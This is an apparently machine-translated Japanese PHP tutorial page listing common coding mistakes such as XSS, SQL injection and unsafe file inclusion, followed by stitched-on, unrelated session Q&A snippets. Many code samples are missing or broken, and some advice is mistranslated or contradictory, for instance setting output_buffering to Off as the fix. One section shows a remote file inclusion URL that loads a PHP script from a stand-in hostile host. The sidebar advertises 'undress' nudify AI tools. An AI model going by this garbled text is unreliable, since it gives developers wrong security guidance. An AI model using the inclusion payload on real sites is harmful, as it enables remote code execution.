PHPプログラマーのためのプログラミング時の注意点_PHPチュートリアル
1. HTML エンティティを無視しないでください
基本的な常識: すべての信頼できない入力 (特にユーザーがフォームから送信したデータ) は出力前にリダイレクトされる必要があります。 echo $_GET['usename'] ;
この例は次のように出力する可能性があります:
<script>/*管理者パスワードを変更するか、Cookie を設定するスクリプト*/</script>
これは、ユーザーが確実に実行しない限り、明らかなセキュリティ リスクです。正しく入力しています。
修正方法:
「」、「and」などを正しい HTML 表現 ('、および ") に変換する必要があります。関数 htmlspecialchars と htmlentities() が行います。
正しい方法:
2); SQL 入力
以前、「SQL インジェクションを防ぐ最も簡単な方法 (php+mysql)」という記事でこの問題について説明し、ある人が php.ini で magic_quotes をオンに設定していると教えてくれました。この問題については心配する必要がありますが、すべての入力が $_GET、$_POST、または $_COOKIE から取得されるわけではありません。 修正方法:
SQL インジェクションを防ぐ最も簡単な方法 (php+mysql) を、私は依然として推奨します。 mysql_real_escape_string() 関数を使用します:
name='.mysql_real_escape_string($name)
Where id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>
3. HTTP ヘッダー関連関数の間違った使用
: header()、session_start()、 setcookie() この警告に遭遇したことはありますか?ヘッダーとボディ。 ヘッダーには Cookie などの非視覚データが含まれています。常に頭が最初に到着します。テキスト部分には、ビジュアル HTML、画像、その他のデータが含まれます。
output_buffering が Off に設定されている場合、出力がある前にすべての HTTP ヘッダー関連関数を呼び出す必要があります。問題は、ある環境で開発し、別の環境にデプロイすると、output_buffering 設定が異なる可能性があることです。その結果、リダイレクトが停止し、Cookie とセッションが正しく設定されませんでした...
修正方法:
出力する前に必ず http ヘッダー関連関数を呼び出し、output_buffering = Off に設定してください
。
4. ファイルに安全でないデータを使用することを要求するか、含める
もう一度言いますが、自分で明示的に宣言していないデータは信頼しないでください。 $_GET、$_POST、または $_COOKIE から取得したファイルを含めたり、要求したりしないでください。
例:
index.php
コードをコピーします
?>
これで、あらゆるハッカーが http://www.yourdomain.com/index.php?filename=anyfile.txt
を使用して機密情報を取得できるようになります。または、PHP スクリプトを実行します。
次の入力を試してください:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
これで Web ページが完成しましたhttp://www.youaredoomed.com/phphack.php の出力が含まれています。ハッカーはスパムの送信、パスワードの変更、ファイルの削除などを行うことができます。想像できるものなら何でも。
修正方法:
どのファイルを include ディレクティブまたは require ディレクティブに含めることができるかを自分で制御する必要があります。
これは簡単ではありますが、包括的な解決策ではありません:
コードをコピーします
}
else{
exit('許可されていません')
?>
5. 文法エラー
文法エラーには、非常に一般的なため、ここにリストする必要があるすべての語彙および文法エラーが含まれます。解決策は、PHP の構文を注意深く研究し、括弧、中括弧、セミコロン、または引用符を見逃さないように注意することです。また、メモ帳は使用せずに、適切なエディタを見つけてください。
6. オブジェクト指向の使用がほとんど、またはまったくない
多くのプロジェクトでは PHP のオブジェクト指向テクノロジが使用されていないため、コードのメンテナンスに非常に時間と労力がかかります。 PHP はますます多くのオブジェクト指向テクノロジをサポートしており、ますます改良されています。オブジェクト指向テクノロジを使用しない理由はありません。
7. フレームワークを使用しないでください
PHP プロジェクトの 95% は、作成、編集、一覧表示、削除という同じ 4 つのことを行っていますが、これら 4 つのことを実行するのに役立つ MVC フレームワークが数多くあります。それらを使ってみてはどうでしょうか?
8. PHP にすでにある関数がわからない
PHP のコアには多くの関数が含まれています。多くのプログラマーは何度も車輪の再発明を繰り返します。多くの時間が無駄になりました。コーディングする前にGoogleでPHP mamualと検索してみると新しい発見があるかも知れません! PHP の exec() は、cmd シェルを実行し、実行結果の最後の行を文字列の形式で返すことができる強力な関数です。セキュリティを考慮して、EscapeShellCmd() を使用できます
9. 古いバージョンの PHP を使用してください
多くのプログラマは依然として PHP4 を使用しています。PHP4 での開発は PHP の可能性を十分に活用できず、セキュリティ上のリスクが依然として存在します。 PHP5 に切り替えるには、それほど手間はかかりません。ほとんどの PHP4 プログラムは、ステートメントをほとんど変更せずに、またはまったく変更せずに PHP5 に移行できます。 http://www.nexen.net の調査によると、PHP サーバーの 12% のみが PHP5 を使用しているため、PHP 開発者の 88% は依然として PHP4 を使用しています
10. 引用符を 2 回変更してください
。 Web ページで ' または '" を見たことがありますか? これは通常、開発者の環境では Magic_quotes が off に設定されており、デプロイされたサーバーでは magic_quotes = on に設定されているためです。PHP は GET、POST、COOKIE のデータに対して addlashes を繰り返し実行します。 ().
元のテキスト:
それは文字列です
上の魔法の引用符:
それは文字列です
もう一度実行します
addslashes():
それは文字列です
HTML出力:
それは文字列です
もう1つ状況としては、ユーザーが最初に間違ったログイン情報を入力したことが原因で、サーバーがその間違った入力を検出すると、同じフォームが出力され、ユーザーに再入力が要求され、ユーザーの入力が 2 回変更されてしまいます。

PHPSESSIONの障害の理由には、構成エラー、Cookieの問題、セッションの有効期限が含まれます。 1。構成エラー:正しいセッションをチェックして設定します。save_path。 2.Cookieの問題:Cookieが正しく設定されていることを確認してください。 3.セッションの有効期限:セッションを調整してください。GC_MAXLIFETIME値はセッション時間を延長します。

PHPでセッションの問題をデバッグする方法は次のとおりです。1。セッションが正しく開始されるかどうかを確認します。 2.セッションIDの配信を確認します。 3.セッションデータのストレージと読み取りを確認します。 4.サーバーの構成を確認します。セッションIDとデータを出力し、セッションファイルのコンテンツを表示するなど、セッション関連の問題を効果的に診断して解決できます。

session_start()への複数の呼び出しにより、警告メッセージと可能なデータ上書きが行われます。 1)PHPは警告を発し、セッションが開始されたことを促します。 2)セッションデータの予期しない上書きを引き起こす可能性があります。 3)session_status()を使用してセッションステータスを確認して、繰り返しの呼び出しを避けます。

PHPでのセッションライフサイクルの構成は、session.gc_maxlifetimeとsession.cookie_lifetimeを設定することで達成できます。 1)session.gc_maxlifetimeサーバー側のセッションデータのサバイバル時間を制御します。 0に設定すると、ブラウザが閉じているとCookieが期限切れになります。

データベースストレージセッションを使用することの主な利点には、持続性、スケーラビリティ、セキュリティが含まれます。 1。永続性:サーバーが再起動しても、セッションデータは変更されないままになります。 2。スケーラビリティ:分散システムに適用され、セッションデータが複数のサーバー間で同期されるようにします。 3。セキュリティ:データベースは、機密情報を保護するための暗号化されたストレージを提供します。

PHPでのカスタムセッション処理の実装は、SessionHandlerInterfaceインターフェイスを実装することで実行できます。具体的な手順には、次のものが含まれます。1)CussentsessionHandlerなどのSessionHandlerInterfaceを実装するクラスの作成。 2)セッションデータのライフサイクルとストレージ方法を定義するためのインターフェイス(オープン、クローズ、読み取り、書き込み、破壊、GCなど)の書き換え方法。 3)PHPスクリプトでカスタムセッションプロセッサを登録し、セッションを開始します。これにより、データをMySQLやRedisなどのメディアに保存して、パフォーマンス、セキュリティ、スケーラビリティを改善できます。

SessionIDは、ユーザーセッションのステータスを追跡するためにWebアプリケーションで使用されるメカニズムです。 1.ユーザーとサーバー間の複数のインタラクション中にユーザーのID情報を維持するために使用されるランダムに生成された文字列です。 2。サーバーは、ユーザーの複数のリクエストでこれらの要求を識別および関連付けるのに役立つCookieまたはURLパラメーターを介してクライアントに生成および送信します。 3.生成は通常、ランダムアルゴリズムを使用して、一意性と予測不可能性を確保します。 4.実際の開発では、Redisなどのメモリ内データベースを使用してセッションデータを保存してパフォーマンスとセキュリティを改善できます。

APIなどのステートレス環境でのセッションの管理は、JWTまたはCookieを使用して達成できます。 1。JWTは、無国籍とスケーラビリティに適していますが、ビッグデータに関してはサイズが大きいです。 2.cookiesはより伝統的で実装が簡単ですが、セキュリティを確保するために慎重に構成する必要があります。


ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

Video Face Swap
完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

人気の記事

ホットツール

SecLists
SecLists は、セキュリティ テスターの究極の相棒です。これは、セキュリティ評価中に頻繁に使用されるさまざまな種類のリストを 1 か所にまとめたものです。 SecLists は、セキュリティ テスターが必要とする可能性のあるすべてのリストを便利に提供することで、セキュリティ テストをより効率的かつ生産的にするのに役立ちます。リストの種類には、ユーザー名、パスワード、URL、ファジング ペイロード、機密データ パターン、Web シェルなどが含まれます。テスターはこのリポジトリを新しいテスト マシンにプルするだけで、必要なあらゆる種類のリストにアクセスできるようになります。

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SAP NetWeaver Server Adapter for Eclipse
Eclipse を SAP NetWeaver アプリケーション サーバーと統合します。

SublimeText3 Linux 新バージョン
SublimeText3 Linux 最新バージョン

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









